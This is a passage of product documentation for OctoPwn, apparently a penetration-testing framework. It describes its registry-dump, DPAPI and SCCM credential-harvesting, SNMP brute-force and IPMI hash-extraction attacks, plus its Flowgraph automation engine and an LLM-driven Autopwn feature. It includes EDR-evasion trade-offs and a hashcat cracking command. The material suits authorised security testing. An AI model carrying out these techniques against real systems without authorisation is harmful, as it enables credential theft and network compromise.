file to disk. 4. **Read back over SMB**, parse the hives with `pypykatz.OffineRegistry`, then `delete` the temporary files via SMB (`DELETE` flag on close). If any deletion fails it is reported but does not abort — go clean up manually if so. 5. **Store recovered secrets** in the Credentials Hub (machine account NT hash, local user NT hashes, DCC2 hashes, LSA secrets, anything else `pypykatz` finds in the hives). --- ## Prerequisites - **Local admin** on every target. Required for `BaseRegSaveKey` *and* for `C$` read access. - **Outbound `445/TCP`** from the agent to the targets. - **Remote Registry service** must be enable-able. On most Windows hosts it is disabled by default but startable by SCM-write-capable accounts (i.e. local admins). On heavily hardened hosts the service may be `Disabled` (not just `Stopped`) — in which case it will fail to enable and the attack errors out. - **`C:\Windows\Temp\` writeable by SYSTEM** (the default) and not under EDR watchful eye for new file creation. This is the loud step. --- ## Parameters ### Normal parameters #### `credential` Credential ID to authenticate over SMB. Must be local-admin on the targets. #### `targets` List of targets — standard list / CIDR / file / `all` syntax. #### `srvwaittime` Default: `10`. Seconds to wait both for the Remote Registry service to come up after being enabled **and** for Windows to flush the dumped hives to disk. The default is generous; lower it if you're scanning many hosts at low EDR risk and want speed, raise it on slow / busy targets. ### Advanced parameters The standard credentialled-SMB scanner parameter set: `authtype`, `dialect`, `krbetypes`, `krbrealm`, `maxruntime`, `proxy`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`. See [SMB client → authentication](../clients/smb.md#authentication) for the auth-related ones. --- ## See also - [`smbregdump2`](smbregdump2.md) — in-memory variant; same outputs, no disk artifacts. - [`DPAPI`](dpapi.md) — superset attack that also runs the registry secrets path *and* harvests user / SYSTEM DPAPI blobs and SCCM secrets in one go. - [SMB client](../clients/smb.md) — for manual `regdump` / `regdump2` invocations against a single host without the multi-target harness. --- # [Attacks / SMB host secrets] smbregdump2 Source: https://docs.octopwn.com/plugins/attacks/smbregdump2.html # SMBRegDump2 Attack The **SMBRegDump2** attack is OctoPwn's "no-touchy disk" remote registry secrets dumper. Instead of dumping `SAM` / `SYSTEM` / `SECURITY` to a file on the target (the [`smbregdump`](smbregdump.md) approach), it works **entirely through the Remote Registry RPC interface**: it temporarily widens the security descriptor on the protected keys, reads them in-place over RPC, restores the original descriptors, and parses the bytes locally. Same recovered secrets, no `C:\Windows\Temp\` artifact, no file flush window. This is the same engine that powers the [SMB client](../clients/smb.md)'s `regdump2` command and the in-memory step of the [`DPAPI`](dpapi.md) attack — wrapped here as a multi-target scanner-style executor. Hashes / cached credentials end up in the [Credentials Hub](../../user-guide/credentials.md) with `source = REGDUMP`. | Attack | Disk artifact on target | RPC noise | Defender visibility | | ------------------------------- | ----------------------- | ------------------------ | --------------------------------------------- | | [`smbregdump`](smbregdump.md) | **Yes** (`C:\Windows\Temp\<random>`) | `BaseRegSaveKey` | Low–medium (file-creation event in `Temp`) | | **`smbregdump2`** (this one) | **No** | Per-key DACL change + `RegQueryValue` | Medium (security-descriptor change events) | Pick `smbregdump2` by default on engagements that care about file-system telemetry; pick `smbregdump` only on hosts where the security-descriptor manipulation path is blocked or where you want the registry hives in their on-disk form for offline post-processing. --- ## How it works 1. **SMB connect + login** with the supplied `credential` against the next target. Local admin is required: the attack relies on the fact that local administrators can re-write security descriptors on protected registry keys even when they cannot read the keys. 2. **`RemoteRegistry.from_smb_connection(connection)`** opens the Remote Registry RPC pipe. If the service is stopped, OctoPwn enables and starts it (same path as [`smbregdump`](smbregdump.md)), waiting `srvwaittime` seconds for the service to come up. 3. **For each protected key** (the `SAM`, `LSA` and `Domain Cache` subtrees that normally only `SYSTEM` can read): - Save the current security descriptor. - Replace it with one that grants the relayed local-admin user `READ` access. - `RegQueryValue` the key. - Restore the original security descriptor. 4. **Parse the queried values** with `pypykatz` — same parser as [`smbregdump`](smbregdump.md), so the recovered secrets are identical. 5. **Two-shot retry.** The whole connect → enable RR → dump cycle runs at most twice; if the first attempt fails (e.g. RR was just enabled and is racing the first read), the second attempt will usually succeed once the service is fully up. After two failed attempts the host is reported as failed and the scan moves on. 6. **Store recovered secrets** in the Credentials Hub (machine account NT hash, local user NT hashes, DCC2 hashes, LSA secrets). --- ## Prerequisites - **Local admin** on every target. - **Outbound `445/TCP`** from the agent. - **Remote Registry service** must be enable-able. Same constraint as [`smbregdump`](smbregdump.md); on heavily hardened hosts where the service is set to `Disabled` (not `Stopped`), the attack will error out. - **The target's `pypykatz`-parseable hive layout.** Very old Windows versions (NT 4 / 2000-era forensic targets) and some non-standard reg-protected configurations may not parse — `smbregdump` (the on-disk variant) is more tolerant for those edge cases. --- ## Parameters ### Normal parameters #### `credential` Credential ID to authenticate over SMB. Must be local-admin on the targets. #### `targets` List of targets — standard list / CIDR / file / `all` syntax. #### `srvwaittime` Default: `10`. Seconds to wait for the Remote Registry service to come up after being enabled. Lower for fast targets, raise for slow / busy hosts. ### Advanced parameters The standard credentialled-SMB scanner parameter set: `authtype`, `dialect`, `krbetypes`, `krbrealm`, `maxruntime`, `proxy`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`. See [SMB client → authentication](../clients/smb.md#authentication) for the auth-related ones. --- ## See also - [`smbregdump`](smbregdump.md) — disk-touching variant; same outputs, useful when the no-touch path fails. - [`DPAPI`](dpapi.md) — runs this exact engine *plus* the DPAPI / SCCM harvest in a single pass. - [SMB client](../clients/smb.md) — `regdump2` command for the same operation against a single host without the multi-target harness. --- # [Attacks / SMB host secrets] dpapi Source: https://docs.octopwn.com/plugins/attacks/dpapi.html # DPAPI Attack The **DPAPI** attack is OctoPwn's automated, multi-target, end-to-end DPAPI looter. It authenticates over SMB to each target as a local admin and, in a single pass per host, extracts and decrypts: | Source | What you get | | ----------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | | Per-user `…\AppData\…\Microsoft\Protect\…` master keys | DPAPI master keys for every interactive user that has logged on | | Per-user `…\AppData\…\Microsoft\Credentials\` credential blobs | Saved Windows credentials (network shares, RDP, basic-auth caches), incl. domain creds | | Per-user `…\AppData\Local\Google\Chrome\User Data\…\(Login Data\|Cookies)` | Chrome login data + cookies blobs (decrypted with the matching master key) | | `Windows\System32\config\systemprofile\AppData\…\Protect` | SYSTEM context master keys | | `Windows\System32\Microsoft\Protect\S-1-5-18\User` | LSA-protected SYSTEM master keys (the real "machine DPAPI" loot) | | `Windows\System32\config\systemprofile\AppData\…\Credentials` | SYSTEM credential blobs | | Remote registry: SAM / SYSTEM / SECURITY / SOFTWARE hives | SYSTEM DPAPI prekeys (machine secret), used to decrypt the SYSTEM master keys | | `Windows\System32\wbem\Repository\OBJECTS.DATA` (the WMI / SCCM CIM DB) | **SCCM secrets** — Network Access Account creds, Task Sequences, Collection Variables, "Other Secrets" | Decrypted user credentials and SCCM Network Access Account credentials are **automatically added to the [Credentials Hub](../../user-guide/credentials.md)** with `stype = password`, `source = DPAPI`. Master keys, cookies, and other artifacts are yielded as result rows and shown in the session window. For raw DPAPI blob handling without the SMB / multi-host harness, see the [DPAPI utility](../utils/dpapi.md). --- ## How it works 1. **SMB connect + login** with the supplied `credential` against the next target. Anything short of local-admin will fail to read the SYSTEM secrets — the user directories will still be readable in many configurations, but the master keys for those users cannot be decrypted without SYSTEM context. 2. **Remote registry** is opened (using `RemoteRegistry.from_smb_connection`) and the SAM / SYSTEM / SECURITY hives' secrets are pulled into a `pypykatz.dpapi.DPAPI` object — this gives the **DPAPI prekeys** required to decrypt SYSTEM master keys. This step uses the in-memory remote-registry path (no files dropped on disk; same engine as [`smbregdump2`](smbregdump2.md)). 3. **Filesystem walk over `\\<host>\C$`** to collect: - Every user folder under `C:\Users\` (excluding `All Users`, `Default*`, `Public`, and any `.NET*`). - For each user: `AppData\(Roaming|Local)\Microsoft\Protect`, `AppData\(Roaming|Local)\Microsoft\Credentials`, `AppData\Local\Google\Chrome\User Data\(Local State|Default\Login Data|Default\Cookies)`. - SYSTEM master keys / credentials under `C:\Windows\System32\…`. - The full `OBJECTS.DATA` WMI repository file (often hundreds of MB on managed hosts — be patient). Every blob is downloaded once, hex-encoded, kept in RAM, and the temporary file is deleted from the agent host. 4. **Master-key decryption.** For each `Protect\<SID>\<MK_GUID>` blob, OctoPwn tries: - SYSTEM prekeys for SYSTEM blobs. - Cached domain backup keys (if the operator has previously dumped them via DCSync — see [`DCSYNC`](dcsync.md)). - User passwords (only when the operator has supplied a cleartext password — *see "Practical scenarios" below*). 5. **Credential-blob decryption.** Each `Credentials\<GUID>` blob is decrypted with the matching master key. Domain-style credentials (`type=2`) — typical for saved RDP sessions, mapped network drives with `cmdkey`, etc. — are parsed into `domain\username:password` and added to the Credentials Hub directly. 6. **SCCM / WMI Object DB harvest.** `OBJECTS.DATA` is regex-scanned for the four `<PolicySecret>` patterns Microsoft uses to embed DPAPI-encrypted secrets in CIM: | CIM data type | Regex hook | What it usually contains | | -------------------- | ------------------------------------------------------------------------ | --------------------------------------------------------- | | NAA Credentials | `CCM_NetworkAccessAccount.*<PolicySecret>...<PolicySecret>...` | The **Network Access Account** username + password used by SCCM clients to fetch packages — usually a privileged service account. | | Task Sequences | `</SWDReserved>.*<PolicySecret>...` | Task-sequence variables, often containing local-admin / domain credentials embedded in deployment workflows. | | Collection Variables | `CCM_CollectionVariable\x00\x00<name>\x00\x00...<PolicySecret>...` | Per-collection variables; often hold service-account passwords for build automation. | | Other Secrets | `<PolicySecret>...` (catch-all) | Anything else SCCM dropped into a `<PolicySecret>` blob. | Each match is decrypted with `dpapi.decrypt_blob_bytes` (using the SYSTEM master keys we just decrypted in step 4). NAA credentials are auto-added to the Credentials Hub; the rest are emitted as result rows for manual review. --- ## Practical scenarios 1. **Local-admin foothold (most common).** Run the attack with any local-admin credential; you get every SYSTEM secret on the box plus every saved credential of every user that ever logged on. SCCM-managed hosts additionally yield NAA + task sequence secrets. 2. **Domain backup keys ("God Mode").** Once you have replication rights, run [`DCSYNC`](dcsync.md) and let OctoPwn store the domain DPAPI backup keys. From that point on, every subsequent `DPAPI` run can decrypt **any** user's master keys on any domain-joined host — even users you have never seen log on. Required for the "extract roaming-profile credentials of users with no local LSASS context" workflow. 3. **Cleartext-password decryption of a specific user.** Currently the per-user-password decryption path requires the user's *cleartext* password (not the NT hash) and is only invoked if the operator manually wires it in — the high-level attack module does not yet expose a cleartext-password parameter on the session window. For that workflow, drive the [DPAPI utility](../utils/dpapi.md) directly. --- ## Prerequisites - **Local admin** on every target. Without local admin, the SYSTEM master keys cannot be decrypted, the SCCM `OBJECTS.DATA` is unreadable, and most user folders are off-limits anyway. - **Remote Registry service** must be running on the target. The DPAPI attack does *not* enable it itself; if it's not running, the SYSTEM-prekey extraction step will fail and you will see "Failed to read registry hive" errors. To enable it manually, use [`serviceen RemoteRegistry`](../clients/smb.md#serviceen) from the [SMB client](../clients/smb.md), or run [`smbregdump`](smbregdump.md) / [`smbregdump2`](smbregdump2.md) first (both will start the service if it's stopped). - **Outbound `445/TCP`** from the agent to every target. Proxy through wsnet if needed. - **Defender** / EDR may flag the registry hive reads or the bulk file pulls. The attack does not bypass any AV — if a target has detection, you will see opaque failures during the registry step. --- ## Parameters ### Normal parameters #### `credential` ID of the credential to authenticate over SMB. Must be local-admin on the targets. #### `targets` List of targets. Standard list / file / `all` syntax — see [scanner targets](../scanners/baseline.md) for the full grammar. #### `skipusers` Default: `False`. When `True`, only the SYSTEM-context loot is collected — no walk under `C:\Users\`, no Chrome / Credentials per-user blobs. Useful for bulk runs when you only care about machine accounts and SCCM secrets and want to keep the per-host runtime short. ### Advanced parameters The standard credentialled-SMB scanner parameter set: `authtype`, `dialect`, `krbetypes`, `krbrealm`, `maxruntime`, `proxy`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`. See [SMB client → authentication](../clients/smb.md#authentication) for the auth-related ones; defaults are fine for everything else. --- ## See also - [DPAPI utility](../utils/dpapi.md) — interactive single-blob / single-user DPAPI work, domain-backup-key import, manual master-key prekey juggling. - [`smbregdump`](smbregdump.md) / [`smbregdump2`](smbregdump2.md) — pull SAM / LSA / DCC secrets without the DPAPI machinery if all you want is the local hash list. - [`DCSYNC`](dcsync.md) — get the domain DPAPI backup keys for "God Mode" decryption of every user's blobs across the domain. - [Operational Guidance for Offensive User DPAPI Abuse](https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107) — SpecterOps' canonical reference. --- # [Attacks / Edge cases] snmpbrute Source: https://docs.octopwn.com/plugins/attacks/snmpbrute.html # SNMP Community String Brute The **SNMPBRUTE** attack is OctoPwn's brute-forcer for **SNMPv2c community strings**. Given one or more targets, it tries a list of candidate community strings (built-in default of ~150 of the most common ones, or your own list) against `161/UDP` and stores any hit in the [Credentials Hub](../../user-guide/credentials.md) for later use with the [SNMP client](../clients/snmp.md). The default credential list is the standard "snmp common strings" set (`public`, `private`, `cisco`, `manager`, `Admin`, `secret`, vendor defaults, *etc.*) — handy for quick wins; supply your own list when you have a target-specific dictionary. --- ## How it works SNMP brute-forcing is unusual because **failed authentication produces no response** — the agent silently drops the request. There's no `AUTHENTICATION_FAILED` packet to identify wrong communities; you only ever see a reply when you guessed correctly. SNMPBRUTE handles this with a two-phase batched algorithm: 1. **Probe phase.** OctoPwn sends `GetRequest` for `hostnameoid` (default `1.3.6.1.2.1.1.1.0` — `sysDescr.0`, the universally readable system description) using each candidate community string. Requests are issued in batches of 10; after each batch, OctoPwn waits for any response. - **No responses** → none of the strings tried so far worked. Continue with the next batch. - **At least one response** → one of the strings in the consumed batches worked. Move to phase 2. 2. **Bisect phase.** Once any string is known to be valid, OctoPwn does a **binary-search bisection** over the consumed batches to narrow down exactly which string(s) worked, then probes each candidate individually to capture the working community. 3. **Hit storage.** Each working community string is added to the Hub: ```python Credential( username = '', secret = <community>, stype = 'password', source = 'SNMPBrute', description = 'SNMP community string', ) ``` This bisection trick keeps the total number of UDP packets low even with the large default credential list — typical run-time per target is a few seconds on LAN, ~30 s over WAN. --- ## Prerequisites - **Outbound `161/UDP`** from the agent to the targets (proxy through wsnet if needed). UDP unreachables are silently swallowed by the network — if the targets are firewalled, the scan completes "successfully" with no hits. - **The targets must run SNMP v1 / v2c.** SNMP v3 (the user-based security model) is not in scope — there are no community strings to brute. For v3 user discovery / brute, use the [SNMP client](../clients/snmp.md) manually or run the [`snmphost`](../scanners/snmphost.md) scanner first to fingerprint the SNMP version. --- ## Parameters ### Normal parameters #### `targets` List of targets. Standard list / CIDR / file / `all` syntax. #### `credentials` List of community strings to try. Default: the built-in `SNMP_COMMON_STRINGS` set (~150 entries — every common community known to public dictionaries). Supply your own list (one community per entry, comma-separated) for targeted brute-force. ### Advanced parameters #### `protocol` Default: `SNMP`. Currently always SNMPv2c — the parameter exists for forward compatibility. #### `hostnameoid` Default: `1.3.6.1.2.1.1.1.0` (`sysDescr.0`). The OID OctoPwn `GetRequest`s to detect a successful auth. Almost every SNMP agent exposes this OID under its `read-only` view — leave at default unless you have a specific reason to change it. The standard `UnCredentialedScannerBaseParameters` set: `maxruntime`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`, plus `proxy`. Defaults are fine. --- ## Output ``` community public private cisco ``` Each hit lands in the Credentials Hub. Use the credential with the [SNMP client](../clients/snmp.md) to enumerate everything the agent will share — interfaces, routing tables, ARP caches, processes, software inventory, and (with `private` and similar `RW` strings) full configuration write access on devices that follow the convention. --- ## Pre-flight: fingerprint first Before throwing the full credential list at every target, run the [`snmphost`](../scanners/snmphost.md) scanner against the target list with the most common single string (`public`) to identify which hosts are actually running SNMP. That cuts the brute-force scope by 90% on most networks. ``` # Pre-flight in another session window snmphost> setparam targets 10.0.0.0/24 snmphost> setparam community public snmphost> scan # Then SNMPBRUTE only against the hosts that responded. ``` --- ## Limitations and caveats - **SNMP v1 / v2c only.** v3 is out of scope. - **Only `read` strings are detected.** A device with a `read-write`-only string (no `read-only` published) won't return `sysDescr.0` to the brute. Set `hostnameoid` to a value that's exposed via the device's `RW` view if you suspect this. - **Retry timing.** UDP packet loss can make a valid community look invalid. The two-phase bisection mitigates this somewhat (each candidate eventually gets its own retry in phase 2), but on flaky networks consider re-running. - **The `username` field on the resulting credential is empty.** This is correct (community strings have no username concept) but trips up spreadsheet-style exports — when copying credentials out of the Hub, read the `secret` column. - **Don't brute against your own network without authorization.** SNMPv2c community strings are the most common cause of "demonstrating remote access via 161 in the engagement scope" — make sure 161 is in scope before running this against anything. --- ## See also - [SNMP client](../clients/snmp.md) — for using the recovered community strings (`get`, `walk`, `bulkwalk`, MIB browsing). - [`snmphost` scanner](../scanners/snmphost.md) — pre-flight host discovery (which devices on the subnet actually answer SNMP?). - [The Hacker Recipes: SNMP](https://www.thehacker.recipes/network-services/snmp) — general SNMP enumeration reference. --- # [Attacks / Edge cases] ipmihash Source: https://docs.octopwn.com/plugins/attacks/ipmihash.html # IPMI Hash Attack (ipmihash) A significant flaw in the **IPMI 2.0 specification** allows the server (Baseboard Management Controller or BMC) to send a salted SHA1 or MD5 hash of a user's password during the authentication process. This means that for any valid user account, the attacker can request and retrieve the password hash without completing authentication. The extracted hashes can then be subjected to offline brute force or dictionary attacks to recover the plaintext password. The **ipmihash** attack automates this process: it tries the standard set of common BMC usernames (`admin`, `administrator`, `root`, `user`, `guest`, …) against every target on `623/UDP` and, for any user the BMC acknowledges, captures the **RAKP** salted hash. Recovered hashes are stored in the [Credentials Hub](../../user-guide/credentials.md) with `stype = ipmi`, `source = IPMI` — the secret value is the **Hashcat-7300** format string, ready for offline cracking. ### Hash Extraction Process 1. **Retrieve Hashes**: - The BMC responds to a client's request by sending a salted SHA1 or MD5 hash of the requested user's password. - This hash is extracted without the need for successful authentication. 2. **Crack Passwords**: - Hashcat mode `7300` (IPMI2 RAKP HMAC-SHA1). ```bash hashcat --username -m 7300 ipmi.hashes wordlist.txt ``` ## See also - [`ipmicaps` scanner](../scanners/ipmicaps.md) — pre-flight check that enumerates which IPMI ciphersuites the target advertises (and whether it accepts the unauthenticated `cipher 0`). - [`ipmicipherzero` scanner](../scanners/ipmicipherzero.md) — checks for the `cipher 0` authentication-bypass condition; if positive, you don't even need this attack. --- ## Parameters ### Normal Parameters #### targets Specifies the targets for the attack. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the Targets Window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to attack all stored targets. --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime for the attack. #### proxy Specifies the proxy ID to use for the attack. Enter the ID of the proxy to route the attack through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the attack results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the attack should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the attack. #### wsnetreuse Internal parameter. Do not modify. --- # [Automations] Autopwn Source: https://docs.octopwn.com/plugins/automations/autopwn.html # What is Autopwn? Autopwn is an automated tool designed to achieve quick results on any network and enable more time for manual testing. It is a fully configurable and expandable tool that enables you to automate the routine aspects of your workflow with full transparency and control over the process. ## How does Autopwn work? ![Autopwn logic flowchart](/images/octopwn_autopwn_print.drawio.png "Autopwn flowchart") * You can choose the LLM you want to use, and it can run locally or in the cloud as well ## How can I try Autopwn? Autopwn is only available in Octopwn Enterprise. Please ask for a demo and we would be happy to demo it for you. --- # [Automations / Flowgraph] Overview Source: https://docs.octopwn.com/plugins/automations/flowgraph/index.html # Flowgraph **Flowgraph** is OctoPwn's visual, node-based automation framework. You drag blocks onto a canvas, wire their typed ports together, and the engine executes the resulting graph end-to-end — credentials, targets and sessions flow along the wires the same way data flows through a real pentest. Unlike every other plugin in OctoPwn, flowgraph is **designed to be operated from the UI**. The frontend is the primary surface: a block palette, a canvas with live execution colouring, per-node configuration panels, and a results inspector. There is a CLI session (`createutil FLOWGRAPH`) for power users and for loading graphs from JSON files during scripted runs, but most operators will build, save and run flowgraphs without ever touching the console. !!! info "Enterprise feature" Flowgraph ships with OctoPwn **Enterprise**. The block registry, engine and UI are part of the enterprise build only. --- ## What it replaces (and what it does not) | Need | Use | |-----------------------------------------------------------|------------------------------| | Hand-off the engagement to an LLM-driven assistant | [Autopwn](../autopwn.md) | | Probe a single host / a couple of hosts interactively | The relevant **client** plugin | | Sweep a single check across the whole inventory | A single **scanner** | | Chain discovery → auth → exploit with **feedback loops**, scheduling, opsec controls and a kill-chain audit trail | **Flowgraph** | Autopwn aims for "hands off the wheel"; flowgraph aims for "every decision was mine and I can prove it later." A typical flowgraph is a deterministic, auditable script of an engagement that you can re-run against a different scope, hand to a colleague, or attach to the report. --- ## The 30-second mental model A flowgraph is a directed graph of **block instances** connected by **typed wires**. Each block has a small set of input and output ports; the engine fans output items onto every wired downstream port and only runs a block once each of its required inputs has at least one item. ```mermaid flowchart LR src[SOURCE_TARGETS_NEW] -->|target| ps[SCANNER_PORTSCAN] ps -->|result| pg[FILTER_TARGETS port=445] pg -->|match| smbf[SCANNER_SMBFINGER] src2[SOURCE_CREDENTIALS_NEW] -->|credential| mux[CREDMUX] mux -->|smb| smba[SCANNER_SMBADMIN] pg -->|match| smba smba -->|result| open[OPEN_SESSION_SMB] open -->|session| dcsync[CMD_DCSYNC] dcsync -->|result| q[CREDENTIAL_QUEUE] q -.->|next pass| src2 ``` The credential and target queues at the bottom right are what make flowgraph special: anything `CMD_DCSYNC` discovers is fed back into the next runloop iteration and tried against everything the portscan discovered, automatically. --- ## Where to go next This documentation is split along the same axes as the framework itself: - **[Core concepts](concepts.md)** — the data model (blocks, ports, items, wire types, runloop state) you need to read flowgraphs fluently. - **[UI tour](ui-tour.md)** — opening the flowgraph window, the palette, the canvas, the config panel and the results inspector. - **[Run modes & opsec](run-modes.md)** — single run, continuous, runloop, RERUN_TRIGGER, plus rate / jitter / concurrency controls. - **[Typing & wiring](typing-and-wiring.md)** — the full catalogue of wire types and the rules the engine uses to decide which ports can connect to which. - **[Composites](composites.md)** — saving a piece of a flowgraph as a reusable, named block with its own typed port surface. - **[Script block](script-block.md)** — escape hatch for the cases the built-in vocabulary cannot express. - **[CLI reference](cli.md)** — the `createutil FLOWGRAPH` console for scripted, file-backed runs. - **[Reporting & killchain](reporting.md)** — the execution journal and the `killchain` tool that walks it. - **[Recipes](recipes/index.md)** — six small, complete pipelines that show how the pieces snap together. - **[Block reference](blocks/index.md)** — the auto-generated catalogue of every block type in the registry. --- # [Automations / Flowgraph] Core concepts Source: https://docs.octopwn.com/plugins/automations/flowgraph/concepts.html # Core concepts This page explains the data model that the rest of the flowgraph documentation assumes you understand. Read it once and the recipes become readable at a glance. --- ## The shape of a flowgraph A flowgraph is a JSON document with three lists: **nodes**, **edges** and (optionally) **notes**. Each node is an instance of a **block type** registered in `octopwn/enterprise/flowgraph/registry.py`. ```mermaid classDiagram class Flowgraph { +id +name +description +nodes +edges +notes } class NodeInstance { +id +block_type_id +params +position +disabled } class EdgeInstance { +id +from_node +from_port +to_node +to_port } class BlockTypeDef { +id +category +description +ports +params +output_schema +attack_techniques } Flowgraph "1" o-- "many" NodeInstance Flowgraph "1" o-- "many" EdgeInstance NodeInstance --> BlockTypeDef : instance of ``` You will rarely write this JSON by hand. The UI is the authoring surface, and the JSON is what gets saved, version-controlled and fed into `loadfile` for replay runs. --- ## Blocks, ports and items A **block** is a unit of behaviour — open a session, run a scanner, filter a stream, save to disk. Each block exposes: - **Ports** — typed, named input / output channels. A port is either `direction=input` or `direction=output`, has a `type_name` (the wire type), and may be marked `optional=true` (rendered dashed in the editor and not required for a node to run). - **Parameters** — static configuration values set per node from the config panel. Examples: the wordlist path for a `HASHCAT_WORDLIST`, the LDAP filter for a custom query, the `ports` list for `SCANNER_PORTSCAN`. - **Output schema** — for blocks that emit dict-shaped items, the registry documents the fields each output port produces. The frontend uses this to populate FILTER autocomplete. - **Attack techniques** — optional list of MITRE ATT&CK technique IDs, surfaced in the kill-chain report. Items flowing along a wire are normal Python dicts. Most carry a small set of well-known keys: | Key | Meaning | |------------------------------|---------| | `__tid` | Target store ID — populated whenever the item is anchored to a stored target. | | `__cid` | Credential store ID — populated whenever the item is anchored to a stored credential. | | `__session_id` | Session reference ID — present on `session_*` items emitted by `OPEN_SESSION_*`. | | `__jid` | Journal ID — a monotonically increasing integer that links the item back to the journal entry that produced it. Used by [killchain](reporting.md). | | `__source_flowgraph_hid` | History ID of the run that produced the item — supports cross-run provenance. | Block descriptions in the [block reference](blocks/index.md) tell you which keys each block writes onto its outputs. --- ## Wire types and matching rules The engine refuses to connect output ports to input ports unless their `type_name` is compatible. A few key rules: - Exact type match always connects (`scan_result → scan_result`). - The `any` type matches anything in either direction — used for generic sinks (`TERMINATOR_SINK`, `FILE_SINK`, `TAP_SINK`). - `raw_target` connects into ports that accept `raw_target` or `scan_result` — most scanners accept either, with `__tid` resolved from the dict at run time. - The `credential_*` family of types (one per protocol) flows out of `CREDMUX` and into matching scanner / session / attack ports. The full list lives in [typing & wiring](typing-and-wiring.md). - `session_<client>` types are 1:1 with `OCTOPWN_CLIENT_TABLE` — for every client there is a corresponding `OPEN_SESSION_<CLIENT>` and `session_<client>` wire type. --- ## How the engine runs ```mermaid flowchart TB start([Click Run]) --> ev[Engine validates the graph] ev --> src[Source nodes start as long-lived asyncio tasks] src --> wait[Non-source nodes wait until all required inputs have at least one item] wait --> run[Run block.run inputs params] run --> fan[Fan outputs onto every downstream port queue] fan --> wait fan --> done{All non-source nodes done?} done -->|no| wait done -->|yes| pass[Pass complete] pass --> rerun{rerun_requested?} rerun -->|yes| src rerun -->|no| finish([Run complete]) ``` Two consequences worth internalising: 1. **Sources never block.** They emit items continuously (or in a one-shot burst for non-`*_NEW` sources). Downstream blocks queue the items and consume them when they have what they need. 2. **The graph runs to completion every pass.** Pass-driven design means a flowgraph that is "correct" for a single host stays correct for ten thousand hosts — the engine simply runs more times. --- ## Snapshot vs. new-only sources Two variants exist for every source that pulls from a store (credentials, targets, sessions): - `SOURCE_<X>` emits the **full snapshot** of the store at the moment the source starts. Use in single-shot runs or whenever you need every item every iteration. - `SOURCE_<X>_NEW` emits **only items not yet seen this runloop**, plus anything pushed into the matching `<X>_QUEUE` sink. This is how feedback loops are wired: ```mermaid flowchart LR src[SOURCE_CREDENTIALS_NEW] --> attack[CMD_DCSYNC] attack -->|result| q[CREDENTIAL_QUEUE] q -.->|next pass| src ``` `CREDENTIAL_QUEUE` is a sink. The credentials it receives become the input for `SOURCE_CREDENTIALS_NEW` on the **next** engine pass, bypassing the "already seen" filter. `SOURCE_CREDENTIALS_NEW` in a single-shot `run` behaves exactly like `SOURCE_CREDENTIALS` — the "new-only" filter only kicks in once there is a prior pass to compare against. --- ## Cross-run state (`iter_state`) When you call `run`, `continuous` or `runloop` the executor allocates an `iter_state` dict that persists across passes. Three flavours of state live in it: - **Seen ID sets** — `seen_cred_ids`, `seen_target_ids`. Populated by `*_NEW` sources every time they emit an item. - **Pending queues** — `cred_queue`, `target_queue`, `session_queues`, `named_target_queues`. Filled by `*_QUEUE` sinks, drained by `*_NEW` sources on the following pass. - **Execution journal** — a per-pass list of every block invocation with its inputs, outputs (summarised), parameters and timestamp. This is what [killchain](reporting.md) walks. `resetstate` clears everything. Use it whenever you want a clean slate without restarting the FLOWGRAPH util session. --- ## Categories at a glance The registry organises blocks into categories that map onto the pages in the [block reference](blocks/index.md): | Category | Role | |-----------------|-----------------------------------------------------------------------| | `SOURCE` | Emits items (credentials, targets, sessions, raw strings) into the graph. | | `PROMPT_SOURCE` | Same as SOURCE but pops an input dialog before running. Tutorial-friendly. | | `QUEUE` | Feedback sinks — hold items for the next runloop iteration. | | `SINK` | Terminators — discard, write to disk, or trigger a rerun. | | `TAP` | Pass-through probe; lets you inspect a wire from the results panel. | | `CONSOLE` | Pass-through logger — formats and prints each item. | | `CREDMUX` | Routes a credential stream to protocol-typed output ports. | | `FILTER` | Conditional routing, set membership, gates, port gates, deduplication. | | `SCANNER` | One block per entry in `OCTOPWN_SCANNER_TABLE`. | | `SESSION` | `OPEN_SESSION_*` plus the ID splitter helpers. | | `COMMAND` | `CMD_*` — run any client command on a live session. | | `ATTACK` | Curated wrappers around `OCTOPWN_ATTACK_TABLE`. | | `ENUMERATION` | Stream LDAP datasets (users / computers / templates / trusts). | | `TRANSFORM` | Convert one credential type to another (PFX→NT, hashcat cracking). | | `SCRIPT` | User-authored Python coroutine. | | `BOUNDARY` | Input / output boundary blocks inside composite inner graphs. | | `COMPOSITE` | User-saved composites — facades over a nested flowgraph. | That is the whole conceptual surface. Everything else in the docs is either UI mechanics, opsec knobs, or example wirings of these pieces. --- # [Automations / Flowgraph] UI tour Source: https://docs.octopwn.com/plugins/automations/flowgraph/ui-tour.html # UI tour This page walks through the FLOWGRAPH window end-to-end: opening it, the block palette, the canvas, the per-node configuration panel, the run controls, the results inspector and the kill-chain viewer. Each section is paired with a screenshot. If you prefer learning by doing, jump to the [Portscan + SMB finger recipe](recipes/portscan-smbfinger.md) — it walks through assembling and running an actual flowgraph in seven clicks. --- ## 1. Opening a FLOWGRAPH window From the UTIL menu in the top bar, pick **Flowgraph**, or from any console type `createutil FLOWGRAPH`. A new window opens with an empty canvas; the block registry is pushed to the frontend automatically about a second after the window mounts. ![Opening the Flowgraph window from the UTIL menu](/images/flowgraph/01-util-create.png "Create FLOWGRAPH util") --- ## 2. The empty canvas The flowgraph window has three persistent panes: - **Left** — the block palette (collapsible). - **Centre** — the canvas where you wire blocks. - **Right** — the configuration panel for the currently selected node (collapsible). A toolbar across the top exposes the run controls (Run / Continuous / Runloop / Stop / Reset State), a save / load 